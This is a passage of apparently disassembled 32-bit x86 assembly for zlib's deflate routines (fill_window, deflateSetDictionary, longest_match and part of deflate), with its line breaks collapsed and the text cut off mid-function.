movl 5812(%esi), %edi movl %eax, -28(%ebp) movl %eax, -44(%ebp) movl %eax, 116(%esi) addl %edi, %eax cmpl $2, %eax jbe .L0804C5BC .L0804C518: movl 56(%esi), %eax movl 108(%esi), %ebx subl %edi, %ebx movl %eax, -40(%ebp) movl 88(%esi), %edx movzbl (%eax,%ebx), %eax movl %edx, -32(%ebp) movb -32(%ebp), %cl movl %eax, 72(%esi) sall %cl, %eax movl %eax, -60(%ebp) movl -40(%ebp), %edx movzbl 1(%edx,%ebx), %eax xorl %eax, -60(%ebp) movl 84(%esi), %ecx andl %ecx, -60(%ebp) movl -60(%ebp), %edx testl %edi, %edi movl %ecx, -48(%ebp) movl %edx, 72(%esi) je .L0804C5BC .L0804C556: movl 68(%esi), %eax movl 64(%esi), %edx movl 52(%esi), %ecx movl %eax, -52(%ebp) movl %edx, -56(%ebp) movl %ecx, -36(%ebp) .L0804C568: movb -32(%ebp), %cl sall %cl, -60(%ebp) movl -40(%ebp), %edx movzbl 2(%edx,%ebx), %eax xorl -60(%ebp), %eax andl -48(%ebp), %eax movl -36(%ebp), %edx movl -52(%ebp), %ecx andl %ebx, %edx movw (%ecx,%eax,2), %cx movl %eax, -60(%ebp) movl %eax, 72(%esi) movl -56(%ebp), %eax movw %cx, (%eax,%edx,2) movl -60(%ebp), %edx movl -52(%ebp), %eax movw %bx, (%eax,%edx,2) movl -28(%ebp), %ecx leal -1(%edi), %edx addl %edx, %ecx incl %ebx cmpl $2, %ecx movl %edx, %edi movl %edx, 5812(%esi) jbe .L0804C5BC .L0804C5B5: testl %edx, %edx jne .L0804C568 .L0804C5B9: .p2align 2 .L0804C5BC: cmpl $261, -28(%ebp) ja .L0804C67B .L0804C5C9: movl (%esi), %edi movl 4(%edi), %ebx testl %ebx, %ebx je .L0804C67B .L0804C5D6: movl 60(%esi), %ecx movl -44(%ebp), %ebx subl %ebx, %ecx movl 108(%esi), %edi subl %edi, %ecx movl 44(%esi), %eax movl %ecx, -16(%ebp) movl -20(%ebp), %ecx leal -262(%eax,%ecx), %eax cmpl %eax, %edi jb .L0804C4D0 .L0804C5FB: movl 56(%esi), %edi pushl %ebx leal (%edi,%ecx), %edx pushl %ecx pushl %edx pushl %edi call memcpy .L0804C60A: movl -20(%ebp), %eax movl 108(%esi), %edi subl %eax, %edi movl 76(%esi), %ecx movl 68(%esi), %edx subl %eax, 112(%esi) subl %eax, 92(%esi) movl %edi, 108(%esi) leal (%edx,%ecx,2), %eax addl $16, %esp .p2align 3 .L0804C628: subl $2, %eax movzwl (%eax), %edx xorl %ebx, %ebx cmpl -20(%ebp), %edx jb .L0804C63B .L0804C635: movl %edx, %ebx subw -20(%ebp), %bx .L0804C63B: decl %ecx movw %bx, (%eax) jne .L0804C628 .L0804C641: movl -20(%ebp), %ecx movl 64(%esi), %ebx leal (%ebx,%ecx,2), %eax .p2align 2 .L0804C64C: subl $2, %eax movzwl (%eax), %edx xorl %ebx, %ebx cmpl -20(%ebp), %edx jb .L0804C65F .L0804C659: movl %edx, %ebx subw -20(%ebp), %bx .L0804C65F: decl %ecx movw %bx, (%eax) jne .L0804C64C .L0804C665: movl (%esi), %eax movl -20(%ebp), %ecx movl 4(%eax), %edx addl %ecx, -16(%ebp) testl %edx, %edx movl %eax, -24(%ebp) jne .L0804C4E0 .L0804C67B: movl 5824(%esi), %edx movl 60(%esi), %ecx cmpl %ecx, %edx jae .L0804C6BE .L0804C688: movl 116(%esi), %ebx addl 108(%esi), %ebx cmpl %ebx, %edx jae .L0804C702 .L0804C692: movl %ecx, %edi subl %ebx, %edi cmpl $258, %edi jbe .L0804C6A3 .L0804C69E: movl $258, %edi .L0804C6A3: pushl %edx pushl %edi movl 56(%esi), %ecx pushl $0 addl %ebx, %ecx pushl %ecx call memset .L0804C6B2: leal (%ebx,%edi), %eax movl %eax, 5824(%esi) addl $16, %esp .L0804C6BE: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804C6C6: .p2align 3 .L0804C6C8: subl %ebx, %edx movl -24(%ebp), %eax movl %edx, 4(%eax) pushl %edx pushl %ebx pushl (%eax) pushl %edi call memcpy .L0804C6DA: movl -24(%ebp), %edx movl 28(%edx), %ecx movl 24(%ecx), %eax addl $16, %esp cmpl $1, %eax je .L0804C736 .L0804C6EB: cmpl $2, %eax je .L0804C74C .L0804C6F0: movl -24(%ebp), %eax addl %ebx, (%eax) addl %ebx, 8(%eax) movl %ebx, %ecx movl 116(%esi), %eax jmp .L0804C4FC .L0804C702: leal 258(%ebx), %edi cmpl %edi, %edx jae .L0804C6BE .L0804C70C: subl %edx, %ebx movl %ecx, %eax addl $258, %ebx subl %edx, %eax cmpl %ebx, %eax jae .L0804C71E .L0804C71C: movl %eax, %ebx .L0804C71E: pushl %eax pushl %ebx pushl $0 addl 56(%esi), %edx pushl %edx call memset .L0804C72B: addl %ebx, 5824(%esi) addl $16, %esp jmp .L0804C6BE .L0804C736: pushl %eax pushl %ebx pushl %edi pushl 48(%edx) call adler32 .L0804C741: movl -24(%ebp), %edi addl $16, %esp movl %eax, 48(%edi) jmp .L0804C6F0 .L0804C74C: pushl %eax pushl %ebx pushl %edi movl -24(%ebp), %ecx pushl 48(%ecx) call crc32 .L0804C75A: movl -24(%ebp), %edx addl $16, %esp movl %eax, 48(%edx) jmp .L0804C6F0 .size fill_window, .-fill_window # ---------------------- .L0804C765: .p2align 3 # ---------------------- .globl deflateSetDictionary .type deflateSetDictionary, @function deflateSetDictionary: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %esi movl 16(%ebp), %ebx je .L0804C8F0 .L0804C782: movl 8(%ebp), %edx movl 28(%edx), %edi testl %edi, %edi je .L0804C8F0 .L0804C790: testl %esi, %esi je .L0804C8F0 .L0804C798: movl 24(%edi), %edx cmpl $2, %edx movl %edx, -16(%ebp) je .L0804C8F0 .L0804C7A7: decl %edx je .L0804C8E3 .L0804C7AE: movl 116(%edi), %ecx testl %ecx, %ecx jne .L0804C8F0 .L0804C7B9: cmpl $1, -16(%ebp) je .L0804C8FD .L0804C7C3: movl 44(%edi), %eax cmpl %ebx, %eax movl $0, 24(%edi) ja .L0804C7E2 .L0804C7D1: movl -16(%ebp), %ecx testl %ecx, %ecx je .L0804C919 .L0804C7DC: subl %eax, %ebx addl %ebx, %esi movl %eax, %ebx .L0804C7E2: movl 8(%ebp), %eax movl 4(%eax), %edx movl 8(%ebp), %ecx movl (%ecx), %eax movl %edx, -20(%ebp) movl 8(%ebp), %edx movl %eax, -24(%ebp) movl %ebx, 4(%edx) movl %esi, (%edx) movl %edi, %eax call fill_window .L0804C802: movl 116(%edi), %edx cmpl $2, %edx jbe .L0804C898 .L0804C80E: movl 68(%edi), %ecx movl 72(%edi), %eax leal -2(%edx), %esi movl %ecx, -32(%ebp) movl 88(%edi), %edx movl 56(%edi), %ecx movl %eax, -52(%ebp) movl %edx, -48(%ebp) movl %ecx, -44(%ebp) movl 84(%edi), %eax movl 52(%edi), %edx movl 64(%edi), %ecx movl 108(%edi), %ebx movl %eax, -40(%ebp) movl %edx, -36(%ebp) movl %ecx, -28(%ebp) .p2align 3 .L0804C840: movb -48(%ebp), %cl sall %cl, -52(%ebp) movl -44(%ebp), %edx movzbl 2(%edx,%ebx), %eax xorl -52(%ebp), %eax andl -40(%ebp), %eax movl -36(%ebp), %edx movl -32(%ebp), %ecx andl %ebx, %edx movw (%ecx,%eax,2), %cx movl %eax, -52(%ebp) movl %eax, 72(%edi) movl -28(%ebp), %eax movw %cx, (%eax,%edx,2) movl -52(%ebp), %edx movl -32(%ebp), %eax movw %bx, (%eax,%edx,2) incl %ebx decl %esi jne .L0804C840 .L0804C87B: movl %ebx, 108(%edi) movl $2, 116(%edi) movl %edi, %eax call fill_window .L0804C88C: movl 116(%edi), %edx cmpl $2, %edx ja .L0804C80E .L0804C898: movl 108(%edi), %ecx movl %edx, 5812(%edi) movl 8(%ebp), %esi movl -20(%ebp), %eax movl -16(%ebp), %ebx addl %edx, %ecx movl -24(%ebp), %edx movl %ecx, 108(%edi) movl $0, 116(%edi) movl $2, 120(%edi) movl $2, 96(%edi) movl $0, 104(%edi) movl %ecx, 92(%edi) movl %eax, 4(%esi) movl %edx, (%esi) movl %ebx, 24(%edi) leal -12(%ebp), %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .L0804C8E3: cmpl $42, 4(%edi) je .L0804C7AE .L0804C8ED: .p2align 3 .L0804C8F0: leal -12(%ebp), %esp popl %ebx popl %esi movl $-2, %eax popl %edi leave ret .L0804C8FD: pushl %ecx pushl %ebx pushl %esi movl 8(%ebp), %eax pushl 48(%eax) call adler32 .L0804C90B: movl 8(%ebp), %edx addl $16, %esp movl %eax, 48(%edx) jmp .L0804C7C3 .L0804C919: movl 76(%edi), %ecx movl 68(%edi), %edx movw $0, -2(%edx,%ecx,2) leal -2(%ecx,%ecx), %eax pushl %ecx pushl %eax pushl $0 pushl %edx call memset .L0804C934: addl $16, %esp movl 44(%edi), %eax movl $0, 108(%edi) movl $0, 92(%edi) movl $0, 5812(%edi) jmp .L0804C7DC .size deflateSetDictionary, .-deflateSetDictionary # ---------------------- .L0804C957: .p2align 3 # ---------------------- .local longest_match .type longest_match, @function longest_match: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $40, %esp movl %eax, -16(%ebp) movl -16(%ebp), %edi movl 56(%eax), %esi movl 108(%edi), %ecx movl %esi, -52(%ebp) addl %ecx, %esi movl 124(%eax), %ebx movl %esi, -20(%ebp) movl 144(%edi), %eax movl 120(%edi), %esi movl 44(%edi), %edi movl %eax, -24(%ebp) leal -262(%edi), %eax cmpl %eax, %ecx movl $0, -28(%ebp) jbe .L0804C9A4 .L0804C998: movl %ecx, %eax subl %edi, %eax addl $262, %eax movl %eax, -28(%ebp) .L0804C9A4: movl -16(%ebp), %edi movl 64(%edi), %eax movl -16(%ebp), %edi movl %eax, -32(%ebp) movl 52(%edi), %eax movl -52(%ebp), %edi leal 258(%edi,%ecx), %ecx movl %eax, -36(%ebp) movl %ecx, -40(%ebp) movl -20(%ebp), %eax movb -1(%eax,%esi), %cl movb %cl, -41(%ebp) movl -20(%ebp), %edi movl -16(%ebp), %ecx movb (%edi,%esi), %al cmpl 140(%ecx), %esi movb %al, -42(%ebp) jb .L0804C9E4 .L0804C9E1: shrl $2, %ebx .L0804C9E4: movl -16(%ebp), %ecx movl 116(%ecx), %eax cmpl %eax, -24(%ebp) movl %eax, -48(%ebp) jbe .L0804CA14 .L0804C9F2: movl %eax, -24(%ebp) jmp .L0804CA14 .L0804C9F7: .p2align 3 .L0804C9F8: movl -36(%ebp), %edi andl %edx, %edi movl -32(%ebp), %ecx movzwl (%ecx,%edi,2), %edx cmpl -28(%ebp), %edx jbe .L0804CAD0 .L0804CA0D: decl %ebx je .L0804CAD0 .L0804CA14: movl -52(%ebp), %ecx addl %edx, %ecx movb -42(%ebp), %al cmpb %al, (%ecx,%esi) jne .L0804C9F8 .L0804CA21: movb -41(%ebp), %al cmpb %al, -1(%ecx,%esi) jne .L0804C9F8 .L0804CA2A: movl -20(%ebp), %edi movb (%edi), %al cmpb %al, (%ecx) jne .L0804C9F8 .L0804CA33: movb 1(%edi), %al cmpb %al, 1(%ecx) jne .L0804C9F8 .L0804CA3B: addl $2, %edi addl $2, %ecx .L0804CA41: incl %edi movb 1(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA49: incl %edi movb 2(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA51: incl %edi movb 3(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA59: incl %edi movb 4(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA61: incl %edi movb 5(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA69: incl %edi movb 6(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA71: incl %edi movb 7(%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA79: addl $8, %ecx incl %edi movb (%ecx), %al cmpb %al, (%edi) jne .L0804CA88 .L0804CA83: cmpl -40(%ebp), %edi jb .L0804CA41 .L0804CA88: movl -40(%ebp), %eax subl %edi, %eax movl $258, %ecx subl %eax, %ecx movl -40(%ebp), %eax subl $258, %eax cmpl %esi, %ecx movl %eax, -20(%ebp) jle .L0804C9F8 .L0804CAA7: movl -16(%ebp), %esi cmpl -24(%ebp), %ecx movl %edx, 112(%esi) movl %ecx, %esi jge .L0804CAD0 .L0804CAB4: movb -1(%eax,%ecx), %al movb %al, -41(%ebp) movl -40(%ebp), %edi movb -258(%edi,%ecx), %cl movb %cl, -42(%ebp) jmp .L0804C9F8 .L0804CACD: .p2align 3 .L0804CAD0: cmpl -48(%ebp), %esi movl %esi, %eax jbe .L0804CADA .L0804CAD7: movl -48(%ebp), %eax .L0804CADA: addl $40, %esp popl %ebx popl %esi popl %edi leave ret .size longest_match, .-longest_match # ---------------------- .L0804CAE2: .p2align 2 # ---------------------- .globl deflate .type deflate, @function deflate: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 8(%ebp), %eax testl %eax, %eax je .L0804CD24 .L0804CAF8: movl 8(%ebp), %edx movl 28(%edx), %edi testl %edi, %edi je .L0804CD24 .L0804CB06: cmpl $5, 12(%ebp) jg .L0804CD24 .L0804CB10: movl 12(%ebp), %ecx testl %ecx, %ecx js .L0804CD24 .L0804CB1B: movl 8(%ebp), %edx movl 12(%edx), %esi testl %esi, %esi je .L0804CD17 .L0804CB29: movl (%edx), %ebx testl %ebx, %ebx jne .L0804CB3A .L0804CB2F: movl 4(%edx), %eax testl %eax, %eax jne .L0804CD17 .L0804CB3A: movl 4(%edi), %eax cmpl $666, %eax je .L0804CD0D .L0804CB48: movl 8(%ebp), %ebx movl 16(%ebx), %ecx testl %ecx, %ecx je .L0804DAC4 .L0804CB56: movl 40(%edi), %edx movl 8(%ebp), %ecx movl 12(%ebp), %ebx cmpl $42, %eax movl %ecx, (%edi) movl %edx, -16(%ebp) movl %ebx, 40(%edi) je .L0804D63B .L0804CB70: cmpl $69, %eax je .L0804D03D .L0804CB79: movl 20(%edi), %ebx .L0804CB7C: cmpl $73, %eax je .L0804D0EA .L0804CB85: cmpl $91, %eax je .L0804D101 .L0804CB8E: cmpl $103, %eax je .L0804D118 .L0804CB97: testl %ebx, %ebx jne .L0804D5BF .L0804CB9F: movl 8(%ebp), %eax movl 4(%eax), %ecx testl %ecx, %ecx jne .L0804CBD3 .L0804CBA9: movl -16(%ebp), %eax movl 12(%ebp), %edx sall $1, %eax sall $1, %edx cmpl $4, 12(%ebp) jle .L0804CBBC .L0804CBB9: subl $9, %edx .L0804CBBC: cmpl $4, -16(%ebp) jle .L0804CBC5 .L0804CBC2: subl $9, %eax .L0804CBC5: cmpl %eax, %edx jg .L0804CBD3 .L0804CBC9: cmpl $4, 12(%ebp) jne .L0804D76C .L0804CBD3: movl 4(%edi), %eax cmpl $666, %eax je .L0804D764 .L0804CBE1: testl %ecx, %ecx jne .L0804CBFA .L0804CBE5: movl 116(%edi), %ebx testl %ebx, %ebx jne .L0804CBFA .L0804CBEC: movl 12(%ebp), %ecx testl %ecx, %ecx je .L0804CC55 .L0804CBF3: cmpl $666, %eax je .L0804CC55 .L0804CBFA: movl 136(%edi), %eax cmpl $2, %eax je .L0804CE50 .L0804CC09: cmpl $3, %eax je .L0804CD34 .L0804CC12: subl $8, %esp movl 132(%edi), %ecx pushl 12(%ebp) pushl %edi leal (%ecx,%ecx,2), %eax call *configuration_table+8(,%eax,4) .L0804CC29: movl %eax, %edx addl $16, %esp .L0804CC2E: leal -2(%edx), %ebx cmpl $1, %ebx ja .L0804CC3D .L0804CC36: movl $666, 4(%edi) .L0804CC3D: testl %edx, %edx je .L0804D55D .L0804CC45: cmpl $2, %edx je .L0804D55D .L0804CC4E: decl %edx je .L0804D911 .L0804CC55: xorl %eax, %eax cmpl $4, 12(%ebp) jne .L0804CD29 .L0804CC61: movl 24(%edi), %edx testl %edx, %edx movb $1, %al jle .L0804CD29 .L0804CC6E: cmpl $2, %edx je .L0804DBA0 .L0804CC77: movl 8(%ebp), %ebx movl 48(%ebx), %ecx movl 20(%edi), %edx movl 8(%edi), %esi movl %ecx, %ebx shrl $24, %ecx movb %cl, (%edx,%esi) movl 20(%edi), %ecx movl 8(%edi), %esi leal 1(%ecx), %eax shrl $16, %ebx movl %eax, 20(%edi) movb %bl, 1(%ecx,%esi) movl 20(%edi), %ecx movl 8(%ebp), %edx leal 1(%ecx), %ebx movl %ebx, 20(%edi) movzwl 48(%edx), %ebx movl %ebx, %eax movl 8(%edi), %esi shrl $8, %eax movb %al, 1(%ecx,%esi) movl 20(%edi), %ecx leal 1(%ecx), %edx movl 8(%edi), %esi movl %edx, 20(%edi) movb %bl, 1(%ecx,%esi) .L0804CCCA: movl 8(%ebp), %eax movl 28(%eax), %esi subl $12, %esp incl 20(%edi) pushl %esi call _tr_flush_bits .L0804CCDC: movl 8(%ebp), %edx movl 20(%esi), %ebx movl 16(%edx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804CCEE .L0804CCEC: movl %eax, %ebx .L0804CCEE: testl %ebx, %ebx jne .L0804DB5E .L0804CCF6: movl 24(%edi), %eax testl %eax, %eax jle .L0804CD02 .L0804CCFD: negl %eax movl %eax, 24(%edi) .L0804CD02: xorl %eax, %eax cmpl $0, 20(%edi) sete %al jmp .L0804CD29 .L0804CD0D: cmpl $4, 12(%ebp) je .L0804CB48 .L0804CD17: movl z_errmsg+16, %edx movl 8(%ebp), %edi movl %edx, 24(%edi) .p2align 2 .L0804CD24: movl $-2, %eax .L0804CD29: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804CD31: .p2align 2 .L0804CD34: movl 116(%edi), %edx .L0804CD37: cmpl $258, %edx jbe .L0804D1E0 .L0804CD43: cmpl $2, %edx movl $0, 96(%edi) jbe .L0804CD6C .L0804CD4F: movl 108(%edi), %eax testl %eax, %eax je .L0804CD6C .L0804CD56: movl 56(%edi), %ecx addl %eax, %ecx movzbl -1(%ecx), %esi movzbl (%ecx), %eax cmpl %esi, %eax je .L0804D3DF .L0804CD6A: .p2align 2 .L0804CD6C: movl 96(%edi), %eax cmpl $2, %eax jbe .L0804D188 .L0804CD78: movl 5792(%edi), %ecx movl 5796(%edi), %ebx movl 5784(%edi), %esi leal -3(%eax), %edx movw $1, (%ebx,%ecx,2) movzbl %dl, %eax movb %dl, (%ecx,%esi) incl 5792(%edi) movzbl _length_code(%eax), %ebx incw 1176(%edi,%ebx,4) movzbl _dist_code, %ecx incw 2440(%edi,%ecx,4) movl 5788(%edi), %edx decl %edx movl 96(%edi), %esi xorl %ecx, %ecx cmpl %edx, 5792(%edi) movl 116(%edi), %edx sete %cl subl %esi, %edx movl %edx, 116(%edi) addl %esi, 108(%edi) movl $0, 96(%edi) .L0804CDE4: testl %ecx, %ecx je .L0804CD37 .L0804CDEC: pushl $0 movl 108(%edi), %ebx subl 92(%edi), %ebx pushl %ebx movl 92(%edi), %eax xorl %edx, %edx testl %eax, %eax js .L0804CE03 .L0804CDFE: movl 56(%edi), %edx addl %eax, %edx .L0804CE03: pushl %edx pushl %edi call _tr_flush_block .L0804CE0A: movl 108(%edi), %esi movl %esi, 92(%edi) movl (%edi), %esi movl 28(%esi), %edx movl %edx, (%esp) movl %edx, -36(%ebp) call _tr_flush_bits .L0804CE20: movl -36(%ebp), %ecx movl 20(%ecx), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804CE32 .L0804CE30: movl %eax, %ebx .L0804CE32: testl %ebx, %ebx jne .L0804D358 .L0804CE3A: movl (%edi), %eax movl 16(%eax), %edx testl %edx, %edx jne .L0804CD34 .L0804CE47: xorl %edx, %edx jmp .L0804CC2E .L0804CE4E: .p2align 3 .L0804CE50: movl 116(%edi), %eax .L0804CE53: testl %eax, %eax je .L0804D28C .L0804CE5B: movl 108(%edi), %eax movl 56(%edi), %ecx movl $0, 96(%edi) movb (%ecx,%eax), %dl movl 5792(%edi), %esi movl 5796(%edi), %ebx movl 5784(%edi), %eax movw $0, (%ebx,%esi,2) movb %dl, (%esi,%eax) incl 5792(%edi) movzbl %dl, %ecx incw 148(%edi,%ecx,4) movl 5788(%edi), %ebx decl %ebx cmpl %ebx, 5792(%edi) sete %dl movl 116(%edi), %eax decl %eax incl 108(%edi) andl $1, %edx movl %eax, 116(%edi) je .L0804CE53 .L0804CEB6: pushl $0 movl 108(%edi), %edx subl 92(%edi), %edx pushl %edx movl 92(%edi), %eax xorl %edx, %edx testl %eax, %eax js .L0804CECD .L0804CEC8: movl 56(%edi), %edx addl %eax, %edx .L0804CECD: pushl %edx pushl %edi call _tr_flush_block .L0804CED4: movl 108(%edi), %esi movl %esi, 92(%edi) movl (%edi), %esi movl 28(%esi), %ebx movl %ebx, (%esp) movl %ebx, -24(%ebp) call _tr_flush_bits .L0804CEEA: movl -24(%ebp), %ecx movl 20(%ecx), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804CEFC .L0804CEFA: movl %eax, %ebx .L0804CEFC: testl %ebx, %ebx jne .L0804D395 .L0804CF04: movl (%edi), %eax movl 16(%eax), %esi testl %esi, %esi jne .L0804CE50 .L0804CF11: xorl %edx, %edx jmp .L0804CC2E .L0804CF18: leal 2(%ecx), %eax movl %eax, 20(%edi) movl 44(%edx), %esi xorl %eax, %eax cmpl $0, (%edx) setne %al testl %esi, %esi movl 8(%edi), %ebx je .L0804CF33 .L0804CF30: addl $2, %eax .L0804CF33: movl 16(%edx), %esi testl %esi, %esi je .L0804CF3D .L0804CF3A: addl $4, %eax .L0804CF3D: movl 28(%edx), %esi testl %esi, %esi je .L0804CF47 .L0804CF44: addl $8, %eax .L0804CF47: movl 36(%edx), %esi testl %esi, %esi je .L0804CF51 .L0804CF4E: addl $16, %eax .L0804CF51: movb %al, 1(%ecx,%ebx) movl 28(%edi), %esi movl 20(%edi), %ecx movl 4(%esi), %eax movl 8(%edi), %ebx movb %al, (%ecx,%ebx) movl 28(%edi), %esi movl 20(%edi), %ecx movl 4(%esi), %eax movl 8(%edi), %ebx leal 1(%ecx), %edx shrl $8, %eax movl %edx, 20(%edi) movb %al, 1(%ecx,%ebx) movl 20(%edi), %ecx movl 28(%edi), %esi movzwl 6(%esi), %eax leal 1(%ecx), %edx movl 8(%edi), %ebx movl %edx, 20(%edi) movb %al, 1(%ecx,%ebx) movl 20(%edi), %ecx movl 28(%edi), %esi leal 1(%ecx), %edx movl 8(%edi), %ebx movzbl 7(%esi), %eax movl %edx, 20(%edi) movb %al, 1(%ecx,%ebx) movl 20(%edi), %edx leal 1(%edx), %ecx addl $2, %edx movl %edx, 20(%edi) movl 132(%edi), %edx cmpl $9, %edx movl 8(%edi), %ebx movb $2, %al je .L0804CFD6 .L0804CFC7: cmpl $1, 136(%edi) jle .L0804DC78 .L0804CFD4: movb $4, %al .L0804CFD6: movb %al, (%ecx,%ebx) movl 28(%edi), %edx movl 12(%edx), %eax movl 8(%edi), %ecx movl 20(%edi), %esi movb %al, (%esi,%ecx) movl 28(%edi), %eax movl 20(%edi), %ecx movl 16(%eax), %edx leal 1(%ecx), %ebx testl %edx, %edx movl %ebx, 20(%edi) je .L0804D024 .L0804CFFB: movl 20(%eax), %eax movl 8(%edi), %ebx movb %al, 1(%ecx,%ebx) movl 20(%edi), %ecx leal 1(%ecx), %edx movl %edx, 20(%edi) movl 28(%edi), %esi movl 20(%esi), %eax shrl $8, %eax movl 8(%edi), %ebx movb %al, 1(%ecx,%ebx) incl 20(%edi) movl 28(%edi), %eax .L0804D024: movl 44(%eax), %ecx testl %ecx, %ecx jne .L0804DE69 .L0804D02F: movl $0, 32(%edi) movl $69, 4(%edi) .L0804D03D: movl 28(%edi), %esi movl 16(%esi), %ecx testl %ecx, %ecx je .L0804D0E0 .L0804D04B: movzwl 20(%esi), %eax movl 20(%edi), %ebx cmpl %eax, 32(%edi) movl %ebx, -20(%ebp) jb .L0804D08E .L0804D05A: jmp .L0804D7F9 .L0804D05F: .p2align 3 .L0804D060: movl 16(%esi), %edx movl 32(%edi), %esi movb (%edx,%esi), %al movl 8(%edi), %ecx movb %al, (%ebx,%ecx) movl 20(%edi), %ecx movl 32(%edi), %edx incl %ecx incl %edx movl %ecx, 20(%edi) movl %edx, 32(%edi) movl 28(%edi), %esi movzwl 20(%esi), %eax cmpl %eax, %edx jae .L0804D7F7 .L0804D08C: movl %ecx, %ebx .L0804D08E: cmpl 12(%edi), %ebx jne .L0804D060 .L0804D093: movl 44(%esi), %edx testl %edx, %edx je .L0804D0A3 .L0804D09A: cmpl -20(%ebp), %ebx ja .L0804D978 .L0804D0A3: movl 8(%ebp), %eax movl 28(%eax), %esi subl $12, %esp pushl %esi call _tr_flush_bits .L0804D0B2: movl 8(%ebp), %ecx movl 20(%esi), %ebx movl 16(%ecx), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D0C4 .L0804D0C2: movl %eax, %ebx .L0804D0C4: testl %ebx, %ebx jne .L0804D851 .L0804D0CC: movl 20(%edi), %ebx cmpl 12(%edi), %ebx movl %ebx, -20(%ebp) je .L0804DC88 .L0804D0DB: movl 28(%edi), %esi jmp .L0804D060 .L0804D0E0: movl $73, 4(%edi) movl 20(%edi), %ebx .L0804D0EA: movl 28(%edi), %eax movl 28(%eax), %esi testl %esi, %esi movl %ebx, %ecx jne .L0804D556 .L0804D0FA: movl $91, 4(%edi) .L0804D101: movl 28(%edi), %eax movl 36(%eax), %esi testl %esi, %esi movl %ebx, %ecx jne .L0804D4D6 .L0804D111: movl $103, 4(%edi) .L0804D118: movl 28(%edi), %edx movl 44(%edx), %esi testl %esi, %esi je .L0804D758 .L0804D126: leal 2(%ebx), %eax movl 12(%edi), %edx cmpl %edx, %eax ja .L0804D8DD .L0804D134: leal 2(%ebx), %esi cmpl %edx, %esi ja .L0804CB97 .L0804D13F: movl 8(%ebp), %ecx movl 48(%ecx), %eax movl 8(%edi), %edx movb %al, (%ebx,%edx) movl 8(%ebp), %ebx movl 20(%edi), %ecx movl 48(%ebx), %eax movl 8(%edi), %edx shrl $8, %eax leal 1(%ecx), %esi movl %esi, 20(%edi) movb %al, 1(%ecx,%edx) incl 20(%edi) pushl %eax pushl $0 pushl $0 pushl $0 call crc32 .L0804D173: movl %eax, 48(%ebx) addl $16, %esp movl 20(%edi), %ebx movl $113, 4(%edi) jmp .L0804CB97 .L0804D188: movl 108(%edi), %eax movl 56(%edi), %edx movb (%edx,%eax), %bl movl 5792(%edi), %ecx movl 5796(%edi), %esi movl 5784(%edi), %eax movw $0, (%esi,%ecx,2) movb %bl, (%ecx,%eax) incl 5792(%edi) movzbl %bl, %esi incw 148(%edi,%esi,4) movl 5788(%edi), %edx decl %edx xorl %ecx, %ecx movl 116(%edi), %eax cmpl %edx, 5792(%edi) sete %cl decl %eax movl %eax, %edx incl 108(%edi) movl %eax, 116(%edi) jmp .L0804CDE4 .L0804D1E0: movl %edi, %eax call fill_window .L0804D1E7: movl 116(%edi), %edx cmpl $258, %edx ja .L0804D1FD .L0804D1F2: movl 12(%ebp), %ebx testl %ebx, %ebx je .L0804CE47 .L0804D1FD: testl %edx, %edx jne .L0804CD43 .L0804D205: cmpl $4, 12(%ebp) movl $0, 5812(%edi) je .L0804DC90 .L0804D219: movl 5792(%edi), %ecx testl %ecx, %ecx je .L0804D280 .L0804D223: pushl $0 movl 108(%edi), %edx subl 92(%edi), %edx pushl %edx movl 92(%edi), %eax xorl %edx, %edx testl %eax, %eax js .L0804D23A .L0804D235: movl 56(%edi), %edx addl %eax, %edx .L0804D23A: pushl %edx pushl %edi call _tr_flush_block .L0804D241: movl 108(%edi), %esi movl %esi, 92(%edi) movl (%edi), %esi movl 28(%esi), %ebx movl %ebx, (%esp) movl %ebx, -44(%ebp) call _tr_flush_bits .L0804D257: movl -44(%ebp), %eax movl 20(%eax), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D269 .L0804D267: movl %eax, %ebx .L0804D269: testl %ebx, %ebx jne .L0804DDEB .L0804D271: movl (%edi), %esi movl 16(%esi), %ebx xorl %edx, %edx testl %ebx, %ebx je .L0804CC2E .L0804D280: movl $1, %edx jmp .L0804CC2E .L0804D28A: .p2align 2 .L0804D28C: movl %edi, %eax call fill_window .L0804D293: movl 116(%edi), %eax testl %eax, %eax jne .L0804CE5B .L0804D29E: movl 12(%ebp), %esi xorl %edx, %edx testl %esi, %esi je .L0804CC2E .L0804D2AB: cmpl $4, 12(%ebp) movl $0, 5812(%edi) je .L0804DD60 .L0804D2BF: movl 5792(%edi), %ecx testl %ecx, %ecx je .L0804D280 .L0804D2C9: pushl $0 movl 108(%edi), %ebx subl 92(%edi), %ebx pushl %ebx movl 92(%edi), %eax xorl %edx, %edx testl %eax, %eax js .L0804D2E0 .L0804D2DB: movl 56(%edi), %edx addl %eax, %edx .L0804D2E0: pushl %edx pushl %edi call _tr_flush_block .L0804D2E7: movl 108(%edi), %esi movl %esi, 92(%edi) movl (%edi), %esi movl 28(%esi), %edx movl %edx, (%esp) movl %edx, -32(%ebp) call _tr_flush_bits .L0804D2FD: movl -32(%ebp), %eax movl 20(%eax), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804D30F .L0804D30D: movl %eax, %ebx .L0804D30F: testl %ebx, %ebx je .L0804D271 .L0804D317: pushl %edx pushl %ebx movl -32(%ebp), %ecx pushl 16(%ecx) pushl 12(%esi) call memcpy .L0804D327: 